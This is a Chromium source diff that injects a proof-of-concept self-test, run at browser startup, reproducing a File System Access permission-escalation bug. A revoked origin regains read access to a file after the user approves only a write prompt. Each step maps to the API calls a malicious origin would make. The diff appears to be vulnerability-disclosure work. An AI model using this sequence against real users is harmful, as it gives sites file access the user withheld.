diff --git a/chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc b/chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc index 4e769e8be28ff..e160ae87941c9 100644 --- a/chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc +++ b/chrome/browser/file_system_access/chrome_file_system_access_permission_context.cc @@ -1458,6 +1458,150 @@ ChromeFileSystemAccessPermissionContext:: } } #endif + + // POC injection: run the stale-downgraded_read_paths self-test once the + // context is fully constructed and the UI-thread task runner is available. + base::SequencedTaskRunner::GetCurrentDefault()->PostTask( + FROM_HERE, + base::BindOnce( + &ChromeFileSystemAccessPermissionContext::RunDowngradedReadPathsPoc, + weak_factory_.GetWeakPtr())); +} + +// =========================================================================== +// POC: Stale downgraded_read_paths survives RevokeGrants(), enabling +// write-only -> read permission escalation. +// +// This injected self-test reproduces the exact browser-process state +// transitions a malicious origin would drive via the File System Access API, +// without requiring native UI interaction (file picker / permission prompt / +// Page Info). It runs once at browser startup and logs the result to stderr. +// +// Real-world mapping of each step is documented inline. The bug is purely a +// permission-state-machine flaw (CWE-281), not a memory error, so the proof +// is the final read grant being GRANTED rather than an ASAN report. +// =========================================================================== +void ChromeFileSystemAccessPermissionContext::RunDowngradedReadPathsPoc() { + DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); + static bool ran = false; + if (ran) { + return; + } + ran = true; + + if (!base::FeatureList::IsEnabled( + blink::features::kFileSystemAccessRevokeReadOnRemove)) { + LOG(ERROR) << "[FSA-POC] kFileSystemAccessRevokeReadOnRemove disabled; " + "pass --enable-features=FileSystemAccessRevokeReadOnRemove"; + return; + } + + const url::Origin kOrigin = + url::Origin::Create(GURL("https://attacker.example")); + const content::PathInfo kPath( + base::FilePath(FILE_PATH_LITERAL("/tmp/fsa-poc-target.txt"))); + + auto S = [](PermissionStatus s) { + switch (s) { + case PermissionStatus::GRANTED: + return "GRANTED"; + case PermissionStatus::DENIED: + return "DENIED"; + case PermissionStatus::ASK: + return "ASK"; + } + return "?"; + }; + + LOG(ERROR) << "[FSA-POC] ==== begin stale downgraded_read_paths POC ===="; + + // ---- Session 1 ---- + // (1) User picks the file via showOpenFilePicker / showSaveFilePicker. + // UserAction::kSave grants both read and write. + auto s1_read = GetReadPermissionGrant(kOrigin, kPath, HandleType::kFile, + UserAction::kSave); + auto s1_write = GetWritePermissionGrant(kOrigin, kPath, HandleType::kFile, + UserAction::kSave); + LOG(ERROR) << "[FSA-POC] (1) after picker: read=" << S(s1_read->GetStatus()) + << " write=" << S(s1_write->GetStatus()) + << " (expect GRANTED/GRANTED)"; + + // (2) Origin calls handle.remove() -> NotifyEntryRemoved(). + NotifyEntryRemoved(kOrigin, kPath); + LOG(ERROR) << "[FSA-POC] (2) after remove(): downgraded_read_paths contains " + "path = " + << IsPathInDowngradedReadPathsForTesting(kOrigin, kPath.path); + + // (3) USER explicitly revokes all permissions for this origin via the + // Page Info / Site Settings UI -> RevokeGrants(origin). + RevokeGrants(kOrigin); + LOG(ERROR) << "[FSA-POC] (3) after RevokeGrants(): read=" + << S(s1_read->GetStatus()) + << " write=" << S(s1_write->GetStatus()) + << " (expect ASK/ASK)"; + + const bool stale = + IsPathInDowngradedReadPathsForTesting(kOrigin, kPath.path); + LOG(ERROR) << "[FSA-POC] (3) downgraded_read_paths STILL contains path = " + << stale << " <-- BUG part 1 if true"; + + // (4) Tab closed / reloaded: all renderer-held handles dropped. + s1_read.reset(); + s1_write.reset(); + LOG(ERROR) << "[FSA-POC] (4) session-1 handles dropped; OriginState (and its " + "stale downgraded_read_paths) persists because " + "active_permissions_map_.erase() is never called: " + << IsPathInDowngradedReadPathsForTesting(kOrigin, kPath.path); + + // ---- Session 2 ---- + // (5) Origin retrieves the handle from IndexedDB. DeserializeHandle() uses + // UserAction::kLoadFromStorage -> fresh grants at ASK. + auto s2_read = GetReadPermissionGrant(kOrigin, kPath, HandleType::kFile, + UserAction::kLoadFromStorage); + auto s2_write = GetWritePermissionGrant(kOrigin, kPath, HandleType::kFile, + UserAction::kLoadFromStorage); + LOG(ERROR) << "[FSA-POC] (5) after IDB load: read=" + << S(s2_read->GetStatus()) + << " write=" << S(s2_write->GetStatus()) + << " (expect ASK/ASK)"; + + // (6) Origin calls handle.createWritable(). With kFileSystemAccessWriteMode, + // GetEffectiveWritePermissionMode()==kWrite, so ONLY the write grant is + // prompted. The user approves the write-only prompt. We simulate that + // approval by setting the write grant to GRANTED -- this is exactly what + // PermissionGrantImpl::OnPermissionRequestResult(PermissionAction:: + // GRANTED) does for the write grant alone. + static_cast(s2_write.get()) + ->SetStatus(PermissionStatus::GRANTED, + PersistedPermissionOptions::kUpdatePersistedPermission); + LOG(ERROR) << "[FSA-POC] (6) user approved WRITE-ONLY prompt: read=" + << S(s2_read->GetStatus()) + << " write=" << S(s2_write->GetStatus()) + << " (expect ASK/GRANTED)"; + + // (7) Origin calls writer.close() -> DidReplaceSwapFile -> + // MaybeNotifyEntryModified -> NotifyEntryModified -> + // MaybeRestoreReadPermission. + NotifyEntryModified(kOrigin, kPath); + + const auto final_read = s2_read->GetStatus(); + LOG(ERROR) << "[FSA-POC] (7) after writer.close(): read=" << S(final_read) + << " write=" << S(s2_write->GetStatus()); + + if (final_read == PermissionStatus::GRANTED) { + LOG(ERROR) + << "[FSA-POC] *** VULNERABILITY CONFIRMED ***"; + LOG(ERROR) + << "[FSA-POC] User explicitly revoked all permissions in (3) and only"; + LOG(ERROR) + << "[FSA-POC] approved WRITE in (6), yet the origin now silently holds"; + LOG(ERROR) + << "[FSA-POC] READ permission (GRANTED) on " << kPath.path; + } else { + LOG(ERROR) << "[FSA-POC] escalation did NOT occur (read=" << S(final_read) + << "); bug may be fixed."; + } + LOG(ERROR) << "[FSA-POC] ==== end POC ===="; } ChromeFileSystemAccessPermissionContext:: diff --git a/chrome/browser/file_system_access/chrome_file_system_access_permission_context.h b/chrome/browser/file_system_access/chrome_file_system_access_permission_context.h index add60ba0e2ca7..4171a14a08207 100644 --- a/chrome/browser/file_system_access/chrome_file_system_access_permission_context.h +++ b/chrome/browser/file_system_access/chrome_file_system_access_permission_context.h @@ -419,6 +419,11 @@ class ChromeFileSystemAccessPermissionContext bool IsPathInDowngradedReadPathsForTesting(const url::Origin& origin, const base::FilePath& path); + // POC injection: exercises the stale-downgraded_read_paths-survives- + // RevokeGrants escalation entirely inside the browser process and logs the + // result to stderr. Called once via PostTask from the constructor. + void RunDowngradedReadPathsPoc(); + protected: SEQUENCE_CHECKER(sequence_checker_);